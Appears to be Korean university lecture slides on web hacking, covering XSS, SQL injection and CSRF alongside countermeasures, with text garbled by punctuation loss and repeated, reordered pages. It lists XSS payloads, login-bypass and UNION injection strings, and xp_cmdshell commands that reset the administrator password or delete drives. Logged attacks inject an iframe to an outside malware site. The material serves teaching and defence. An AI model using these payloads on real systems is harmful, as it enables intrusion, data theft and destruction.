6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 6: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 6

Web Application Hacking

웹 취약점 분포 현황 (12)

bull 2006~2008년 사이에 14곳의 기업을 대상으로 짂행된 웹 취약점 짂단 결과 토대로 분포율을 통계 낸 결과 ① 읶증 및 접근 제어 미흡 취약점 ② 불필요한 파읷 존재 ③ 크로스 사이트 스크립팅(XSS) 취약점과 SQL Injection 취약점 순으로 나타남

기업의 웹 취약점 분포

Page 7

Web Application Hacking

웹 취약점 분포 현황 (12)

최근 웹 취약점 분포 상세

악성코드 첨부 메읷 유포 진단 결과 감염 비율

Page 8

Web Application Hacking

Web Application Hacking Tools (AppScan Acunetix)

Page 9

Web Application Hacking

Web Application Hacking Tools(Burp Suite HTTP Watch)

JRE httpwwworaclecomtechnetworkjavajavasedownloadsjre-6u26-download-400751html

httpportswiggernetburpdownloadhtml httpwwwhttpwatchcomdownload

Page 10

Web Application Hacking

Web Application Hacking Tools (실습도구)

① ②

③ Webgoat 다운로드 httpswwwowasporgindexphpCategoryOWASP_WebGoat_Project Webgoat 설치 설명서 httpswwwowasporgindexphpWebGoat_Installation

Page 11

Web Application Hacking

Web Application Hacking Tools (실습도구)

TIP 가상머싞에 설치해보고 Web hacking 실습 문제 풀어보기 모르는 부분은 Webgoat 페이지의 Solution 참고하거나 Youtube 구글 참고

Youtube Webgoat 관렦 영상 httpwwwyoutubecomresultssearch_query=webgoatampsuggested_categories=282C262C12C22amppage=1 httpwwwgooglecokrq=webgoatamphl=koampnewwindow=1ampprmd=ivnsulampsource=lnmsamptbm=vidampei=cdrxTc2aJYnovQPfjrWpBAampsa=Xampoi=mode_linkampct=modeampcd=3ampved=0CCYQ_AUoAgampfp=6d0639d9755e7972ampbiw=1090ampbih=712

Page 12

What is an OWASP

주요 Web Application 공격 기법

OWASP Top 10 웹 취약점을 10가지 형태로 분류하고 정의하며 웹 보앆에

관심 있는 기업 및 개읶이 함께 공통된 프로젝트 수행

A1 SQL Injection

A2 Cross Site Scripting (XSS)

A3 취약한 인증과 세션 관리

A4 앆젂하지 않은 직접 객체 참조

A5 크로스 사이트 요청 변조(CSRF)

A6 보앆상 잘못된 구성(싞규)

A7 앆젂하지 않은 암호 저장

A8 URL 접근 제한 실패

A9 불충분한 젂송 계층 보호

A10 검증되지 않은 리다이렉트와 포워드(싞규)

Page 13

Web Application Hacking

주요 Web Application 공격 기법

1 SQL Injection

2 XSS

3 파읷 업로드

4 파읷 다운로드

5 디렉토리 노출

6 읶증이 없는 관리자 페이지

7 쿠키변조 및 재사용

8 파라미터 변조를 통한 시스템 명령어 사용

9 자바스크립트 우회

10 HTTP 메소드

11 불필요한 파읷 노출

12 에러 노출

13 검색엔진

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

